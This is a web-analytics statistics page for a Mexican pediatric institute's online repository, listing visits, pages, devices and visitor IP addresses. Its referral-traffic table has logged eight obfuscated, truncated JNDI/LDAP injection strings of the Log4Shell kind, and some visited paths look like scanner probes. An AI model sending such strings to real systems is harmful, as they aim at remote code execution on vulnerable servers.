Centro de Información y

Documentación Científica

esen
From:
To:
Graph theme:

Stats details

38 Total visited pages
31 Total visitors
24 Unique visitors
00:02:45 Average visit life
1.23 Average pages/visit
83.87% Bounce rate

Geolocation

United States 17 Not set 5 Not set 4 Mexico 3 Spain 2

Operating system

Android 18 Windows 10 6 N/A 4 MacOS 3

Browser

Chrome 30 Firefox 1

Device

Mobile 18 Desktop 13

Landing pages

Page Number of users
http://189.203.43.34:8000/repositorio-institucional/ 12
http://repositorio.pediatria.gob.mx:8000/repositorio-institucional?query=down;00:00:52; 3
http://189.203.43.34:8000/repositorio-institucional/trees 3
http://189.203.43.34:8000/repositorio-institucional/common 2
http://repositorio.pediatria.gob.mx:8000/ 1
http://repositorio.pediatria.gob.mx:8000/repositorio-institucional 1
http://repositorio.pediatria.gob.mx:8000/servicios/solicitud-de-articulo-cientifico 1
http://189.203.43.34:8000/repositorio-institucional/;00:00:48; 1
http://repositorio.pediatria.gob.mx:8000/palinuro-de-mexico 1
http://repositorio.pediatria.gob.mx:8000/estadistica-de-uso/BuildingGuidelinesRequirements.pdf_________________;00:00:04; 1
http://189.203.43.34:8000/servicios 1
http://189.203.43.34:8000/servicios/solicitud-de-articulo-cientifico 1
http://repositorio.pediatria.gob.mx:8000/biblioteca-digital 1
http://189.203.43.34:8000/biblioteca-digital/bases-de-datos 1
http://repositorio.pediatria.gob.mx:8000/estadistica-de-uso/view/jbpm-console/ 1

Leave off pages

Page Number of users
http://189.203.43.34:8000/repositorio-institucional/ 9
http://repositorio.pediatria.gob.mx:8000/repositorio-institucional?query=down;00:00:52; 3
http://189.203.43.34:8000/repositorio-institucional/trees 3
http://189.203.43.34:8000/servicios/solicitud-de-articulo-cientifico 2
http://repositorio.pediatria.gob.mx:8000/repositorio-institucional 2
http://189.203.43.34:8000/repositorio-institucional/common 2
http://repositorio.pediatria.gob.mx:8000/servicios/solicitud-de-articulo-cientifico 1
http://189.203.43.34:8000/repositorio-institucional/;00:00:48; 1
http://189.203.43.34:8000/biblioteca-digital 1
http://repositorio.pediatria.gob.mx:8000/palinuro-de-mexico 1
http://repositorio.pediatria.gob.mx:8000/estadistica-de-uso/BuildingGuidelinesRequirements.pdf_________________;00:00:04; 1
http://189.203.43.34:8000/servicios 1
http://repositorio.pediatria.gob.mx:8000/biblioteca-digital 1
http://189.203.43.34:8000/repositorio-institucional?query=tera 1
http://189.203.43.34:8000/nosotros 1
http://repositorio.pediatria.gob.mx:8000/estadistica-de-uso/view/jbpm-console/ 1

Visits by page

Page Last visit Number of visits
http://189.203.43.34:8000/repositorio-institucional/ 2025-12-12 15:05:08 12
http://189.203.43.34:8000/repositorio-institucional/trees 2025-12-10 21:18:08 3
http://repositorio.pediatria.gob.mx:8000/repositorio-institucional?query=down;00:00:52; 2025-12-11 07:18:42 3
http://189.203.43.34:8000/servicios 2025-12-10 23:05:58 2
http://189.203.43.34:8000/servicios/solicitud-de-articulo-cientifico 2025-12-10 23:06:06 2
http://189.203.43.34:8000/repositorio-institucional/common 2025-12-11 19:27:24 2
http://repositorio.pediatria.gob.mx:8000/repositorio-institucional 2025-12-11 19:26:50 2
http://189.203.43.34:8000/repositorio-institucional/;00:00:48; 2025-12-09 19:31:17 1
http://repositorio.pediatria.gob.mx:8000/servicios/solicitud-de-articulo-cientifico 2025-12-08 17:56:15 1
http://repositorio.pediatria.gob.mx:8000/ 2025-12-11 19:26:03 1
http://189.203.43.34:8000/repositorio-institucional?query=trasplante renal 2025-12-10 15:12:04 1
http://189.203.43.34:8000/biblioteca-digital 2025-12-10 15:14:29 1
http://repositorio.pediatria.gob.mx:8000/palinuro-de-mexico 2025-12-10 08:29:50 1
http://repositorio.pediatria.gob.mx:8000/estadistica-de-uso/BuildingGuidelinesRequirements.pdf_________________;00:00:04; 2025-12-11 08:34:55 1
http://repositorio.pediatria.gob.mx:8000/biblioteca-digital 2025-12-11 14:18:54 1
http://189.203.43.34:8000/repositorio-institucional?query=tera 2025-12-12 01:04:04 1
http://189.203.43.34:8000/biblioteca-digital/bases-de-datos 2025-12-12 01:00:35 1
http://189.203.43.34:8000/nosotros 2025-12-10 13:01:06 1
http://repositorio.pediatria.gob.mx:8000/estadistica-de-uso/view/jbpm-console/ 2025-12-11 17:06:02 1

Visits by user

Name of user Last visit Visit lifetime Browser Operating system Device IP address Geolocation Viewed pages
Visitor_1270 2025-12-11 19:27:24 00:00:04 Chrome Android Mobile 66.249.66.160 US 1 Navigation flow
Visitor_1270 2025-12-09 12:28:28 00:00:04 Chrome MacOS Desktop 181.199.38.7 41 1 Navigation flow
Visitor_1751 2025-12-10 23:06:06 00:00:24 Chrome Windows 10 Desktop 187.212.114.58 41 3 Navigation flow
Visitor_1891 2025-12-11 14:13:19 00:00:12 Chrome Windows 10 Desktop 187.190.194.52 41 1 Navigation flow
Visitor_1973 2025-12-09 19:31:17 00:00:04 Chrome Android Mobile 66.249.66.6 US 1 Navigation flow
Visitor_2386 2025-12-10 14:39:37 00:00:00 Chrome N/A Desktop 65.55.210.46 1 Navigation flow
Visitor_2388 2025-12-10 21:18:08 00:00:04 Chrome Android Mobile 66.249.66.198 US 1 Navigation flow
Visitor_3376 2025-12-09 11:46:17 00:00:04 Chrome Android Mobile 66.249.66.6 US 1 Navigation flow
Visitor_3624 2025-12-11 07:18:42 00:00:04 Chrome Android Mobile 66.249.65.41 US 1 Navigation flow
Visitor_3695 2025-12-12 15:05:08 00:00:00 Chrome Android Mobile 189.203.114.76 MX 1 Navigation flow
Visitor_3871 2025-12-09 20:14:52 00:00:16 Chrome Windows 10 Desktop 187.190.187.26 41 1 Navigation flow
Visitor_4225 2025-12-10 08:29:50 00:00:04 Chrome Android Mobile 66.249.65.41 US 1 Navigation flow
Visitor_4227 2025-12-12 01:04:04 00:07:04 Chrome Windows 10 Desktop 187.192.254.136 MX 2 Navigation flow
Visitor_4946 2025-12-10 13:01:06 00:00:12 Chrome Windows 10 Desktop 189.217.90.84 ES 2 Navigation flow
Visitor_5257 2025-12-09 13:23:56 00:00:00 Chrome Android Mobile 172.31.255.254 US 1 Navigation flow
Visitor_5500 2025-12-11 19:26:50 00:18:04 Firefox MacOS Desktop 63.141.49.128 MX 2 Navigation flow
Visitor_6263 2025-12-10 15:14:29 00:57:48 Chrome Windows 10 Desktop 201.141.104.132 ES 3 Navigation flow
Visitor_6491 2025-12-11 13:13:13 00:00:04 Chrome Android Mobile 66.249.66.68 US 1 Navigation flow
Visitor_7142 2025-12-11 17:06:02 00:00:04 Chrome Android Mobile 66.249.65.41 US 1 Navigation flow
Visitor_7330 2025-12-09 02:21:11 00:00:04 Chrome MacOS Desktop 172.31.255.254 41 1 Navigation flow
Visitor_7505 2025-12-09 15:21:00 00:00:04 Chrome N/A Desktop 65.55.210.63 1 Navigation flow
Visitor_7510 2025-12-08 17:56:15 00:00:04 Chrome Android Mobile 66.249.65.42 US 1 Navigation flow
Visitor_7786 2025-12-08 06:19:10 00:00:04 Chrome Android Mobile 66.249.66.38 US 1 Navigation flow
Visitor_7822 2025-12-08 18:00:39 00:00:04 Chrome Android Mobile 189.201.83.189 US 1 Navigation flow
Visitor_8617 2025-12-08 00:29:44 00:00:04 Chrome Android Mobile 66.249.65.43 US 1 Navigation flow
Visitor_9064 2025-12-08 12:32:47 00:00:04 Chrome Android Mobile 66.249.66.160 US 1 Navigation flow
Visitor_9299 2025-12-09 21:38:48 00:00:00 Chrome N/A Desktop 40.77.177.251 1 Navigation flow
Visitor_9456 2025-12-10 09:55:11 00:00:04 Chrome Android Mobile 66.249.66.5 US 1 Navigation flow
Visitor_9613 2025-12-11 14:18:54 00:00:00 Chrome N/A Desktop 157.55.39.8 1 Navigation flow
Visitor_9689 2025-12-11 08:34:55 00:00:04 Chrome Android Mobile 66.249.65.41 US 1 Navigation flow
Visitor_9714 2025-12-09 21:40:05 00:00:04 Chrome Android Mobile 66.249.65.42 US 1 Navigation flow

Visits by IP address

IP address Geolocation Last visit Visit lifetime Viewed pages
157.55.39.8 2025-12-11 14:18:54 00:00:00 1
172.31.255.254 US 2025-12-09 13:23:56 00:00:04 2
181.199.38.7 41 2025-12-09 12:28:28 00:00:04 1
187.190.187.26 41 2025-12-09 20:14:52 00:00:16 1
187.190.194.52 41 2025-12-11 14:13:19 00:00:12 1
187.192.254.136 MX 2025-12-12 01:04:04 00:07:04 2
187.212.114.58 41 2025-12-10 23:06:06 00:00:24 3
189.201.83.189 US 2025-12-08 18:00:39 00:00:04 1
189.203.114.76 MX 2025-12-12 15:05:08 00:00:00 1
189.217.90.84 ES 2025-12-10 13:01:06 00:00:12 2
201.141.104.132 ES 2025-12-10 15:14:29 00:57:48 3
40.77.177.251 2025-12-09 21:38:48 00:00:00 1
63.141.49.128 MX 2025-12-11 19:26:50 00:18:04 2
65.55.210.46 2025-12-10 14:39:37 00:00:00 1
65.55.210.63 2025-12-09 15:21:00 00:00:04 1
66.249.65.41 US 2025-12-11 17:06:02 00:00:16 4
66.249.65.42 US 2025-12-09 21:40:05 00:00:08 2
66.249.65.43 US 2025-12-08 00:29:44 00:00:04 1
66.249.66.160 US 2025-12-11 19:27:24 00:00:08 2
66.249.66.198 US 2025-12-10 21:18:08 00:00:04 1
66.249.66.38 US 2025-12-08 06:19:10 00:00:04 1
66.249.66.5 US 2025-12-10 09:55:11 00:00:04 1
66.249.66.6 US 2025-12-09 19:31:17 00:00:08 2
66.249.66.68 US 2025-12-11 13:13:13 00:00:04 1

Referral traffic

Source IP address Number of visits Total percentage
${${us:-j}${o:-n}${7:0:wf:-d}${i:es:-i}${a:47:-:}${4b:vj8u:-l}${n9v:1yqd:-d}${t82:-a}${49e:zqa:-p}${ms:-:}${q:a:s:-/}${t:-/}${h:-R}${v:frb:xup:-E}${138:cr:-l}${3xo:b:-0}${gu3e:v:02d9:-c}${d:eqi:arv2:--}${${o4ia:-s}${a:7fe:-y}${mckr:f:dyz:-s}${ld:n0j:cp:-: 34.19.116.48 1 12.50%
${${37m:y86:-j}${20zd:gv:y3js:-n}${c:dwtr:-d}${lhmu:3:-i}${brv:0ld7:q:-:}${9mjv:n:-l}${x12p:r:-d}${k05:g0a:6:-a}${2:ns:zp:-p}${f:3r:-:}${o408:-/}${rqdz:-/}${s:gch:-R}${p:-E}${2x1:w3xi:2:-l}${hia:-0}${9e:p5:stv:-c}${mr6:a5mp:--}${${xqc:ex:-s}${rm:tau:-y}${ 34.19.127.183 1 12.50%
${${rfi:-j}${i3u:0dge:-n}${9:2:-d}${s6:-i}${7:m:-:}${5p:16kl:-l}${vuc:b6:-d}${n9c:-a}${1:-p}${x:5:aon:-:}${v5mo:-/}${y:wu6g:wx:-/}${o4:-R}${edt:dm6f:e:-E}${nsuj:-l}${21te:hw:-0}${h9:qc4:-c}${g:q:rp6:--}${${kni:dgv0:-s}${ib:d:-y}${2ous:2fl:iu:-s}${n:9:-:}$ 34.19.116.48 1 12.50%
${${tjri:p2ng:o9zf:-j}${52:0tq5:-n}${l67:abn:-d}${qlag:d0tw:-i}${qyer:ok3:-:}${yzus:x96:-l}${3c:zlnb:138:-d}${osuz:2y:-a}${czv6:-p}${0bru:zts:-:}${4hk:-/}${h:vrsz:-/}${ak:ymx:53:-R}${5a8r:s6f:-E}${0:k:-l}${so:q:-0}${9:-c}${ub:--}${${dkn5:-s}${f2:-y}${ik6q 34.19.127.179 1 12.50%
${${vt:vf:-j}${8ka:b:8q1:-n}${stcl:g0:rmtg:-d}${vd:-i}${f:z:k4x:-:}${2dru:h:-l}${u9:hrm0:0b:-d}${7b3x:1mnu:-a}${qt:s7:-p}${r:o:y:-:}${4:-/}${s:9:-/}${8:-R}${0f:-E}${z:x:g:-l}${nm:s:5vn:-0}${y:8wg:-c}${w7:y:iu:--}${${09:bc:ah:-s}${to:-y}${i:-s}${sb5z:owh:f 34.19.127.185 1 12.50%
${${qdz:c:j:-j}${8fy:z532:9:-n}${o:089z:-d}${4:t9:t1:-i}${5v:-:}${pt:-l}${y:-d}${b:w1:-a}${7y:ih:-p}${t3:-:}${1l:-/}${u7:-/}${fvzj:-R}${9r85:vlu:-E}${au9i:6rp:-l}${dr2:f3:kyho:-0}${18:4c9:-c}${j5q:--}${${0:cv:32c:-s}${64:j8op:9:-y}${5t:u:b:-s}${z:-:}${8cd 34.19.116.50 1 12.50%
${${wt9:j:uhc0:-j}${eds7:-n}${m:bsnl:y7pv:-d}${rne:7:-i}${1n:z:-:}${a93:-l}${c:prvf:fu:-d}${mg:-a}${0:58ou:zr:-p}${7nsk:jw9:6:-:}${l:xo:r9:-/}${vt:-/}${rn:9:l:-R}${hg65:pcs:-E}${kq02:84i:-l}${nj:-0}${u:q7ar:-c}${wp:ib6:a:--}${${jgxy:-s}${qvof:-y}${kt:otb: 34.19.127.179 1 12.50%
${${82:-j}${wb9u:v3:fj0:-n}${fn6r:3ce:-d}${kueh:-i}${u5xl:9d:vz8:-:}${k:-l}${a67b:grjl:-d}${xky:ig:pm:-a}${2z:c:-p}${lb:-:}${w6:a0fj:-/}${yl:-/}${ph:mr:e:-R}${iy:-E}${mr:-l}${7cgs:gqbx:-0}${w19j:5elj:guw:-c}${ywj:--}${${t:-s}${j4:-y}${hv:lo0:w:-s}${0rzh:8 34.19.127.179 1 12.50%

Onsite searched keywords

Keywords Number of searches Interest percentage